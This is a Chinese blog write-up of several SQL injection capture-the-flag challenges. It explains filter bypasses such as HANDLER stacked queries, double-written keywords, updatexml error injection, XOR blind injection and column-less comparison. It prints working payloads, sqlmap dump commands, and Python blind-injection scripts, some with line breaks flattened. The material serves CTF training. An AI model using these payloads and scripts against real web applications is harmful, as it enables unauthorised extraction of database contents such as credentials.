前言:

考察SQL注入的赛题很多,而且涉及到的知识也很杂,就总结一下做过的不同类型的SQL注入汇总一下。

[GYCTF2020]Blacklist

——涉及新知识HANDLER ... OPEN等、堆叠注入


这道题和之前做那道强网杯的题目一样,但之前的方法比如读取flag时改表名或者是用SQL的预处理进行绕过都不可行了,因为过滤了set prepare alter rename

所以这里就涉及到了一种新的方法

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

简介

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

自己测试一下

官方文档
https://dev.mysql.com/doc/refman/8.0/en/handler.html

所以只要知道这种方法,就可以做出来了

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

[GYCTF2020]Ezsqli

——无列名注入(过滤了union select)、information_schema的代替

参考博客:
https://nosec.org/home/detail/3830.html
http://www.gem-love.com/ctf/1782.html
https://nosec.org/home/detail/3830.html

首先Fuzz一下看看都过滤了哪些

  • information_schema
  • union select (但单独的select没有被过滤)
  • or and 等

测试发现注入点

id=2 || 1=1
Nu1L
当后面的结果是true时,显示的是Nu1L
——————————————————————————————
id=2 || 1=2
当后面的结果是False,显示的是
V&N

注入点找到了,下面就要解决information_schema这个问题,查了一下,发现可以用下面的进行替代

1.mysql.innodb_table_stats #获取库名、表名
2.sys.schema_table_statistics #获取库名、表名
3.sys.x$schema_flattened_keys
4.sys.schema_table_statistics_with_buffer

除下第一个含有in,被ban了,其他都可以使用,下面就写脚本来爆出数据表

import requests
import stringif __name__ == '__main__':url = 'http://22af67ef-8eaa-413e-8928-57ee5824d9b9.node3.buuoj.cn'dic = string.ascii_letters + string.digits + '{'+ '}' + '_' + '@'+','params = 'select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()'temp = ''for i in range(1,50):for s in dic:payload = '2||ascii(substr(({}),{},1))=\'{}\''.format(params,i,ord(s))data = {'id' : payload}reponse = requests.post(url=url,data=data)if "Nu1L" in reponse.text:temp += s print(temp)break


爆出了表名,但没有办法得到列名,常见的无列名注入需要搭配union select ,但被ban了,看了师傅们的博客

在没有列名的情况下检索数据

payload:

(select 'admin','admin')>(select * from users limit 1)

Y1ng师傅的解释:

对于payload这个两个select查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的ASCII大,不管总长度如何,ASCII大的则大。

为什么在存flag时候要往前偏移一位
因为在里层的for()循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1)


测试一下就会发现
是各取两个字符串的首字符ascii码来进行比较的,成立返回1,不成立返回0,也就是说,只比较一次,也就是首字符

懂得了原理就好写脚本了

#参考Ying师傅的脚本
import requestsif __name__ == '__main__':url = 'http://74317165-bab8-4da1-912f-acff85604719.node3.buuoj.cn/'
def ord2hex(flag):result = ''for i in flag:result += hex(ord(i))result = result.replace('0x','')return '0x'+resultflag = ''
for i in range(1,500):hexchar = ''for char in range(32,127):hexchar = ord2hex(flag+ chr(char))payload ='2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)data = {'id' : payload}reponse = requests.post(url=url,data=data).textif 'Nu1L' in reponse:flag += chr(char-1)print(flag)break

之所以加上hex()操作,是因为MYSQL遇到hex会自动转成字符串,如果不加的话会出错

最后flag转换为小写即可。

[GXYCTF2019]BabySQli

——md5比较bypass、sqlmap的使用

考察SQL注入的,先fuzz一下,过滤了

  • or
  • =
  • ()等
    随便输入发现一串提示

    base解码得到
select * from user where username = '$name'

可以手动注入,也可以使用sqlmap跑,sqlmap跑出的结果为

记录一些sqlmap POST的注入

1.python sqlmap.py -r 1.txt --current-db
当前数据库
2.python sqlmap.py -r 1.txt -D 数据库--tables
数据库中的表的名称
3.python sqlmap.py -r 1.txt -D 数据库-T 数据表--columns
得到表中的列名
4.python sqlmap.py -r 1.txt -D 数据库-T 数据表-C username(列名),password --dump
得到用户名、密码

md5解不开,所以登陆不进去,猜测一下后端代码应该是这样

<?php
$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){if($row['password']==md5($pass)){
echo $flag;
}else{ echo “wrong pass!”; }
}
else{ echo “wrong user!”;}

这里就涉及到一个新技巧,mysql在查询不存在的数据时,会自动构建虚拟数据,如下:

所以可以根据联合查询返回自定的md5,在输入对应的密码即可

name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

[极客大挑战 2019]BabySQL

——双写绕过
先fuzz一下,看看过滤了什么

  • or and
  • union
  • select
  • from等
    双写绕过即可
爆出数据表
1'  ununionion seselectlect  1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' --+
b4bsql,geekuser
爆出列名
password=1'  ununionion seselectlect  1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' --+
id,username,password!
爆字段
1'  ununionion seselectlect  1,group_concat(id,0x3a,passwoorrd),3 frfromom  geekuser  --+

[极客大挑战 2019]HardSQL

——报错注入、回显不足、left()、right()的使用

首先fuzz一下,发现过滤了

  • and
  • &&
  • ||
  • <>
  • =
  • 空格等

主要就是绕过等号和空格,like和regexp没有被过滤掉。可以代替=号,空格可以使用括号代替。

测试发现or没有被过滤,可以使用extractvalue和updatexml进行报错注入
这里就只使用updatexml进行注入
#爆数据库
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
geek
#爆数据表
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
H4rDsq1
#爆列名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
id,username,password
#爆字段
admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

但在爆字段这会出现问题,因为updatexml回显只能有32位,所以后面的显示不完全,而substr也被过滤了,可以使用right()和left()函数来分别显示出部分的flag

admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23
#拼接的时候要注意是否有之前重复的字符

除此之外,还可以使用 ^来连接函数,形成异或。

admin'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

[极客大挑战 2019]FinalSQL

——异或盲注、二分法

登陆框过滤了如下:

  • =
  • <>
  • select
  • information等

    几乎能过滤的都给过滤了 ,既然登陆框无法入手,就从神秘代码处找线索

    随便打开一个,发现是get传参
    上面又提示了是SQL盲注,就随便找一个页面测试一下
id=1^2
会跳转到第三页,说明可以进行异或
异或运算的规则:
0^0=0
0^1=1
1^0=1
1^1=0
这里再补充一下常用的异或注入技巧
1^1^1=1
1^0^1=0

所以构造如下语句:

id=1^(length(database())>1)^1


这个便可以写脚本猜解值了,因为当为后面的语句成立时,异或的结果为0,如果后面的语句不成立,则异或的结果为1

id=1^(length(database())<1)^1


下面就来写脚本:(注意空格被过滤了)

#普通的遍历脚本
import requests
import string
import time
start_time = time.time()
url = 'http://6c2c4dda-9c60-48ca-92b3-8eda1acb9bd7.node3.buuoj.cn/search.php?id='
dic = string.ascii_letters + string.digits + '{' + '}' + '_' + '@' + ','
temp = ''
for i in range(1,40):for char in dic:# 爆出数据库# payload = "1^(ascii(substr(database(),{},1))={})^1".format(i,ord(char))#geek#爆出数据表# payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))={})^1".format(i, ord(char))# group_concat将相同的行组合起来# data: F1naI1y, Flaaaaag#爆出列名# payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{},1))={})^1".format(i, ord(char))#data:id,username,password#爆出值payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))={})^1".format(i, ord(char))urls = url+payloadr = requests.get(url=urls).text# print(r)if "Click" in r:temp+=charprint('data:'+temp)break
end_time = time.time()
print(end_time-start_time)

但最后的flag应该是很长,时间估计要很慢

所以有时候遍历循环并不是最好的选择,可以使用二分法来缩短时间(参考师傅的wp)

# 作者(Author):cl4y
# 来源(Source):Cl4y'Secretimport re
import requests
import string
import timestart_time = time.time()
url = "http://6c2c4dda-9c60-48ca-92b3-8eda1acb9bd7.node3.buuoj.cn/search.php"
flag = ''def payload(i, j):# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)# print (r.url)if "Click" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)exp()
print('flag=', flag)
end_time = time.time()
print(end_time-start_time)


时间少多了,果然还是算法NB!!!

这脚本也很有趣,多看,多练!!!

Web_SQL注入(1)相关推荐

  1. Web_sql之宽字节注入(DAY7)

    ASCII 占用一个字符 GBK 占用两个字符 二次注入的使用场景是,大多数网站都会对用户输入的语句进行对特殊符号的过滤. 例如:恶意用户构造的插入语句为1',经过这些函数的处理则变为1\',这样便可 ...

  2. 在kotlin companion object中读取Bean,注入Bean对象

    在kotlin companion object中读取Bean,注入Bean对象 在使用kotlin时,或多或少地会使用到一些公共组件,如 http. mongo. redis相关的组件.   使用组 ...

  3. Java | kotlin 手动注入bean,解决lateinit property loginService has not been initialized异常

    kotlin.UninitializedPropertyAccessException: lateinit property loginService has not been initialized ...

  4. struts2 与 sping 整合 控制器中 service注入的问题

    以个人见解认为struts1 与spring整合的时候按照习惯,我们会把 action 控制器直接配置到sping中去: eg : 这里以使用元注解方式实现Service注入进行讲解: 控制器关键代码 ...

  5. SpringBoot配置文件YAML配置注入(详解)

    目录 一.SpringBoot配置文件 1. SpringBoot默认配置文件 2. 配置文件的作用 3. 配置文件的位置 4. 多环境切换 方式一:多配置文件 方式二:一个配置文件(yaml的多文档 ...

  6. 固件安全性—防止内存损坏和注入攻击

    固件安全性-防止内存损坏和注入攻击 Firmware Security – Preventing memory corruption and injection attacks 构成物联网(IoT)主 ...

  7. 依赖注入?依赖注入是如何实现解耦的?

    如何用最简单的方式解释依赖注入?依赖注入是如何实现解耦的? 第一章:小明和他的手机 从前有个人叫小明 小明有三大爱好,抽烟,喝酒-- 咳咳,不好意思,走错片场了.应该是逛知乎.玩王者农药和抢微信红包 ...

  8. 安全测试之xss攻击和mysql注入

    xss概念: xss(Cross Site Script)跨站脚本攻击,为不和层叠样式表(css)混淆,写为xss 存在位置:web应用系统最常见软件安全漏洞 后果:代码植入到系统页面,篡改数据.盗取 ...

  9. Spring配置文件中注入复杂类型属性

    Spring在整合其他框架时在配置文件中可能会涉及到复杂类型属性的注入,以下举例说明: 1.数组类型 2.List集合类型 3.Set集合类型 4.Map集合类型 5.Properties属性类型 直 ...

最新文章

  1. linux redis -p,linux 安装redis
  2. 机器人在线“偷懒”怎么办?阿里研究出了这两套算法
  3. python-docx 如何获取当前字号_调整字号保护视力?专家有一个更好的建议
  4. 比较一下商业产品经理和用户产品经理?
  5. python运行外部程序_在Python中运行外部程序(可执行文件)?
  6. 用友发布新一代价值分析型eHR软件
  7. python 基础 集合
  8. Atititi 软件界面gui开发之道 attilax著 1. 概览 2 1.1. 编程语言的发展 asmnativevmscriptdsl 2 1.2. Ui的细化html ,css ,
  9. Java 连接 数据库 (idea2022 + MySQL 演示,Oracle 通用)
  10. base64原理及其编解码的python实现
  11. 如何使用 VNC 远程访问树莓派
  12. aes sm1 对比_SM1,SM2,SM3,SM4刨析
  13. C++图片格式转换:BMP转JPEG
  14. ODATA 后台报错,添加message
  15. matlab 使用 utf-8 编码
  16. 秃头警告之——使用mondo rescue备份linux系统ISO镜像的踩坑历程
  17. 入侵特斯拉汽车Model S 信息娱乐系统漏洞
  18. 1645. Hopper Company Queries II
  19. Linux网络服务之DNS服务
  20. 在KVM最小化搭建openstack平台 --快速部署openstack

热门文章

  1. python 视频 灰度 伽玛_moviepy音视频剪辑:lum_contrast什么时候使用以及图像处理什么时候需要调整亮度与对比度...
  2. Stanford NLP
  3. keras从入门到放弃(十六)内置预训练网络VGG
  4. java normalize_java – XPath normalize-space()返回一系列规范化字符串
  5. NeurIPS 2021 | 微软研究院提出CLUES,用于NLU的少样本学习评估
  6. 用开源的人工标注数据来增强RoFormer-Sim
  7. 清华大学人工智能研究院成立自然语言处理与社会人文计算研究中心
  8. 从“猿”到“金刚”,机器学习让你在职业生涯超进化!
  9. 直播预告:GAN在网络特征学习中的应用 | PhD Talk #23
  10. nefu java作业2020.3.11第二章